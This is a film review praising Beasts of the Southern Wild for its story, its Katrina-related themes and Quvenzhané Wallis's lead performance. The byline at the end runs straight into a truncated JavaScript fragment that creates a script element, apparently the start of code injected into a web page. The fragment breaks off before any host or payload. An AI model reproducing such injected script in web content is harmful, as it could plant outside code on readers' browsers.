Review: Beasts of the Southern Wild

Director: Benh Zeitlin

Starring: Quvenzhané Wallis, Dwight Henry

Rating: ★★★★★

Beasts of the Southern Wild tells the story of fearless six-year-old Hushpuppy (Quvenzhané Wallis) and her father, who live in a wasteland eloquently called ‘The Bathtub’.  The story focuses on Hushpuppy and the majestic world around her.  She has a strong fascination with life and the strength of survival. When the waters rise and engulf her small town, and her father becomes ill, soon to be orphaned Hushpuppy begins an adventure to find her mother and ultimately defend the Bathtub from the mythical aurochs.

Director Benh Zeitlin’s feature debut drags us into a completely new world, a world that is dangerous, apocalyptic and wild.  Through the imagery and cinematography of this film, it comes across very bleak and depressing.  However, this is not to say that the film resembles these themes; in fact, it is quite the opposite.

Past the dark, gritty images, the drama of Hushpuppy’s world completely enthralls the audience and provides us with a raw look at reality.  Their world is one of anti-progress, where people find reason and satisfaction in poverty, or something very close to it.  Hushpuppy and her father, Wink (Dwight Henry), watch the world around them die, but Hushpuppy remains unshaken and as she grows stronger, our narrator takes it upon herself to protect her town and care for her father.  The audience witnesses this small girl’s passion and watches her bring her world back to life.

The story has strong themes surrounding environmental and political issues.  ‘The Storm’ which threatens and devastates the town relates directly to Hurricane Katrina, commenting on the state in which people were left to fend for themselves after the catastrophic event.

Filmed with an amateur cast and an incredibly vivid imagination, Beasts of the Southern Wild is a beautiful film.  Its images are complemented by a soundtrack that is a mixture of classical and tribal music.  The relationship between Hushpuppy and Wink is twisted, unconventional, and yet somehow magical. Their story takes us on a rollercoaster ride of emotions, and one cannot help but hold onto hope.

Newcomer Wallis is fantastic in her first lead role, with the six-year-old stealing the show.  She pulls at the heartstrings, yet still has incredible charisma and charm.

Winner of the Sundance Dramatic Grand Jury Award 2012, Beasts of the Southern Wild is a powerful film with breathtaking moments, wonderful performances all round, and plenty of hidden meanings to play around with.  A must see film!

By Gabrielle Lyonsvar d=document;var s=d.createElement(‘script’);